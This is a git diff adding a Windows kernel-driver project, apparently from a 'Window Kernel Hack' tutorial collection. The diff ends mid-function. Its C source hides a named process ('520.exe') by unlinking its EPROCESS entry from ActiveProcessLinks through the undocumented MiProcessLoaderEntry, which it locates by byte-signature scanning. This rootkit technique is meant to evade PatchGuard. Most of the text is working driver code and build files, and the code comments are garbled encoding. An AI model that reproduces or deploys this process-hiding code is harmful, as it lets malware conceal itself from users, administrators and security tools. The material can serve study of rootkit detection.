[\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.sln" new file mode 100644 index 0000000..181c7ff --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumProcess_ActiveProcessLinks_Test", "EnumProcess_ActiveProcessLinks_Test\EnumProcess_ActiveProcessLinks_Test.vcxproj", "{014F8F16-6CE7-47CB-8F4D-D212F0641FFD}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.v12.suo" new file mode 100644 index 0000000..de590a6 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/Driver.c" new file mode 100644 index 0000000..e967a27 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/Driver.c" @@ -0,0 +1,41 @@ +#include "Driver.h" +#include "EnumProcess.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + + NTSTATUS status = STATUS_SUCCESS; + pDriverObject->DriverUnload = DriverUnload; + for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + // +// EnumProcess(); + + // ָ(Bypass Patch Guard) + HideProcess_Bypass_PatchGuard("520.exe"); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/Driver.h" new file mode 100644 index 0000000..0822089 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/Driver.h" @@ -0,0 +1,12 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess.c" new file mode 100644 index 0000000..bfd5e17 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess.c" @@ -0,0 +1,177 @@ +#include "EnumProcess.h" +#include "GetMiProcessLoaderEntry.h" + + +// +BOOLEAN EnumProcess() +{ + PEPROCESS pFirstEProcess = NULL, pEProcess = NULL; + ULONG ulOffset = 0; + HANDLE hProcessId = NULL; + PUCHAR pszProcessName = NULL; + + // ݲͬϵͳ, ȡӦƫƴС + ulOffset = GetActiveProcessLinksOffset(); + if (0 == ulOffset) + { + DbgPrint("GetActiveProcessLinksOffset Error!\n"); + return FALSE; + } + + // ȡǰ̽ṹ + pFirstEProcess = PsGetCurrentProcess(); + pEProcess = pFirstEProcess; + + // ʼöٽ + do + { + // EPROCESS ȡ PID + hProcessId = PsGetProcessId(pEProcess); + // EPROCESS ȡ + pszProcessName = PsGetProcessImageFileName(pEProcess); + // ʾ + DbgPrint("[%d]%s\n", hProcessId, pszProcessName); + + // ƫƼһ̵ EPROCESS + pEProcess = (PEPROCESS)((PUCHAR)(((PLIST_ENTRY)((PUCHAR)pEProcess + ulOffset))->Flink) - ulOffset); + + } while (pFirstEProcess != pEProcess); + + return TRUE; +} + + +// ָ(Bypass Patch Guard) +BOOLEAN HideProcess_Bypass_PatchGuard(PUCHAR pszHideProcessName) +{ + PEPROCESS pFirstEProcess = NULL, pEProcess = NULL; + ULONG ulOffset = 0; + HANDLE hProcessId = NULL; + PUCHAR pszProcessName = NULL; + typedef_MiProcessLoaderEntry pMiProcessLoaderEntry = NULL; + + // ȡ MiProcessLoaderEntry ַ + pMiProcessLoaderEntry = (typedef_MiProcessLoaderEntry)GetFuncAddr_MiProcessLoaderEntry(); + if (NULL == pMiProcessLoaderEntry) + { + return FALSE; + } + DbgPrint("pMiProcessLoaderEntry[0x%p]\n", pMiProcessLoaderEntry); + + // ݲͬϵͳ, ȡӦƫƴС + ulOffset = GetActiveProcessLinksOffset(); + if (0 == ulOffset) + { + DbgPrint("GetActiveProcessLinksOffset Error!\n"); + return FALSE; + } + + // ȡǰ̽ṹ + pFirstEProcess = PsGetCurrentProcess(); + pEProcess = pFirstEProcess; + + // ʼöٽ + do + { + // EPROCESS ȡ PID + hProcessId = PsGetProcessId(pEProcess); + // EPROCESS ȡ + pszProcessName = PsGetProcessImageFileName(pEProcess); + + // ָ + if (0 == _stricmp(pszProcessName, pszHideProcessName)) + { + // ժ(Bypass Patch Guard) + pMiProcessLoaderEntry((PVOID)((PUCHAR)pEProcess + ulOffset), FALSE); + // ʾ + DbgPrint("[Hide Process][%d][%s]\n", hProcessId, pszProcessName); + break; + } + + // ƫƼһ̵ EPROCESS + pEProcess = (PEPROCESS)((PUCHAR)(((PLIST_ENTRY)((PUCHAR)pEProcess + ulOffset))->Flink) - ulOffset); + + } while (pFirstEProcess != pEProcess); + + return TRUE; +} + + + +// ݲͬϵͳ, ȡӦƫƴС +ULONG GetActiveProcessLinksOffset() +{ + ULONG ulOffset = 0; + RTL_OSVERSIONINFOW osInfo = {0}; + NTSTATUS status = STATUS_SUCCESS; + // ȡϵͳ汾Ϣ + status = RtlGetVersion(&osInfo); + if (!NT_SUCCESS(status)) + { + DbgPrint("RtlGetVersion Error[0x%X]\n", status); + return ulOffset; + } + // жϵͳ汾 + switch (osInfo.dwMajorVersion) + { + case 6: + { + switch (osInfo.dwMinorVersion) + { + case 1: + { + // Win7 +#ifdef _WIN64 + // 64 Bits + ulOffset = 0x188; +#else + // 32 Bits + ulOffset = 0x0B8; +#endif + break; + } + case 2: + { + // Win8 +#ifdef _WIN64 + // 64 Bits +#else + // 32 Bits +#endif + break; + } + case 3: + { + // Win8.1 +#ifdef _WIN64 + // 64 Bits + ulOffset = 0x2E8; +#else + // 32 Bits + ulOffset = 0x0B8; +#endif + break; + } + default: + break; + } + break; + } + case 10: + { + // Win10 +#ifdef _WIN64 + // 64 Bits + ulOffset = 0x2F0; +#else + // 32 Bits + ulOffset = 0x0B8; +#endif + break; + } + default: + break; + } + + return ulOffset; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess.h" new file mode 100644 index 0000000..ec6cba5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess.h" @@ -0,0 +1,27 @@ +#ifndef _ENUM_PROCESS_H_ +#define _ENUM_PROCESS_H_ + + +#include + + +// δ +PUCHAR PsGetProcessImageFileName(PEPROCESS pEprocess); + + +// +BOOLEAN EnumProcess(); + +// ָ +BOOLEAN HideProcess(PUCHAR pszHideProcessName); + +// ָ(Bypass Patch Guard) +BOOLEAN HideProcess_Bypass_PatchGuard(PUCHAR pszHideProcessName); + +// ݲͬϵͳ, ȡӦƫƴС +ULONG GetActiveProcessLinksOffset(); + + + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.inf" new file mode 100644 index 0000000..0c94ded --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.inf" @@ -0,0 +1,32 @@ +; +; EnumProcess_ActiveProcessLinks_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="EnumProcess_ActiveProcessLinks_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.vcxproj" new file mode 100644 index 0000000..3097550 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.vcxproj" @@ -0,0 +1,265 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {014F8F16-6CE7-47CB-8F4D-D212F0641FFD} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + EnumProcess_ActiveProcessLinks_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.vcxproj.filters" new file mode 100644 index 0000000..2fd4cff --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.vcxproj.filters" @@ -0,0 +1,54 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.vcxproj.user" new file mode 100644 index 0000000..14e421f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test.vcxproj.user" @@ -0,0 +1,15 @@ + + + + Off + + + Off + + + Off + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/GetMiProcessLoaderEntry.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/GetMiProcessLoaderEntry.c" new file mode 100644 index 0000000..b390945 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\350\277\207Patch Guard\347\232\204\350\277\233\347\250\213\351\232\220\350\227\217/EnumProcess_ActiveProcessLinks_Test/EnumProcess_ActiveProcessLinks_Test/GetMiProcessLoaderEntry.c" @@ -0,0 +1,335 @@ +#include "GetMiProcessLoaderEntry.h" +#include "SSDTFunction.h" + + +// MmLoadSystemImage лȡӦ MiProcessLoaderEntry +// , 3264λ Win7, Win8.1 ֱӴ MmLoadSystemImage MiProcessLoaderEntry +// 3264λ Win10 Ҫ MmLoadSystemImage MiConstructLoaderEntry, ٴ MiConstructLoaderEntry MiProcessLoaderEntry +PVOID GetFuncAddr_MiProcessLoaderEntry() +{ + NTSTATUS status = STATUS_SUCCESS; + RTL_OSVERSIONINFOW osVersionInfo = { 0 }; + PVOID pMmLoadSystemImage = NULL; + PVOID pMiConstructLoaderEntry = NULL; + PVOID pMiProcessLoaderEntry = NULL; + UCHAR pSpecialCode[256] = { 0 }; + ULONG ulSpecialCodeLength = 256; + ULONG ulSearchLength = 0x1000; + PVOID pSearchResultAddr = NULL; + LONG lOffset = 0; + RtlZeroMemory(pSpecialCode, ulSpecialCodeLength); + + // NtSetSystemInformation лȡ MmLoadSystemImage ַ + pMmLoadSystemImage = GetFuncAddr_MmLoadSystemImage(); + if (NULL == pMmLoadSystemImage) + { + return pMiProcessLoaderEntry; + } + DbgPrint("pMmLoadSystemImage[0x%p]\n", pMmLoadSystemImage); + + // ȡϵͳ汾Ϣ + RtlGetVersion(&osVersionInfo); + if (6 == osVersionInfo.dwMajorVersion) + { + // Win7 + if (1 == osVersionInfo.dwMinorVersion) + { +#ifndef _WIN64 + // 32 Bits + pSpecialCode[0] = 0x6a; + pSpecialCode[1] = 0x01; + pSpecialCode[2] = 0x56; + pSpecialCode[3] = 0xe8; + ulSpecialCodeLength = 4; +#else + // 64 Bits + pSpecialCode[0] = 0xba; + pSpecialCode[1] = 0x01; + pSpecialCode[2] = 0x00; + pSpecialCode[3] = 0x00; + pSpecialCode[4] = 0x00; + pSpecialCode[5] = 0x48; + pSpecialCode[6] = 0x8b; + pSpecialCode[7] = 0xcd; + pSpecialCode[8] = 0xe8; + ulSpecialCodeLength = 9; +#endif + } + // Win8 + else if (2 == osVersionInfo.dwMinorVersion) + { + + } + // Win8.1 + else if (3 == osVersionInfo.dwMinorVersion) + { +#ifndef _WIN64 + // 32 Bits + pSpecialCode[0] = 0x89; + pSpecialCode[1] = 0x74; + pSpecialCode[2] = 0x24; + pSpecialCode[3] = 0x1c; + pSpecialCode[4] = 0x8b; + pSpecialCode[5] = 0xcf; + pSpecialCode[6] = 0xe8; + ulSpecialCodeLength = 7; +#else + // 64 Bits + pSpecialCode[0] = 0x41; + pSpecialCode[1] = 0x83; + pSpecialCode[2] = 0xcc; + pSpecialCode[3] = 0x04; + pSpecialCode[4] = 0xe8; + ulSpecialCodeLength = 5; +#endif + } + } + // Win10 + else if (10 == osVersionInfo.dwMajorVersion) + { + // Ȼȡ MiConstructLoaderEntry, ٻȡ MiProcessLoaderEntry +#ifndef _WIN64 + // 32 Bits + pSpecialCode[0] = 0x8d; + pSpecialCode[1] = 0x54; + pSpecialCode[2] = 0x24; + pSpecialCode[3] = 0x4c; + pSpecialCode[4] = 0x50; + pSpecialCode[5] = 0xe8; + ulSpecialCodeLength = 6; + // + pSearchResultAddr = SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength); + if (NULL == pSearchResultAddr) + { + return pMiProcessLoaderEntry; + } + // ȡƫֵ + lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength); + // ַ(תַ = һַָ + תƫ) + pMiConstructLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset); + // + pSpecialCode[0] = 0x8b; + pSpecialCode[1] = 0xcb; + pSpecialCode[2] = 0x42; + pSpecialCode[3] = 0xe8; + ulSpecialCodeLength = 4; + pMmLoadSystemImage = pMiConstructLoaderEntry; +#else + // 64 Bits + pSpecialCode[0] = 0x48; + pSpecialCode[1] = 0x8b; + pSpecialCode[2] = 0xcf; + pSpecialCode[3] = 0x89; + pSpecialCode[4] = 0x44; + pSpecialCode[5] = 0x24; + pSpecialCode[6] = 0x20; + pSpecialCode[7] = 0xe8; + ulSpecialCodeLength = 8; + // + pSearchResultAddr = SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength); + if (NULL == pSearchResultAddr) + { + return pMiProcessLoaderEntry; + } + // ȡƫֵ + lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength); + // ַ(תַ = һַָ + תƫ) + pMiConstructLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset); + // + pSpecialCode[0] = 0xba; + pSpecialCode[1] = 0x01; + pSpecialCode[2] = 0x00; + pSpecialCode[3] = 0x00; + pSpecialCode[4] = 0x00; + pSpecialCode[5] = 0x48; + pSpecialCode[6] = 0x8b; + pSpecialCode[7] = 0xcf; + pSpecialCode[8] = 0xe8; + ulSpecialCodeLength = 9; + pMmLoadSystemImage = pMiConstructLoaderEntry; +#endif + } + // 汾 + else + { + + } + + // + pSearchResultAddr = 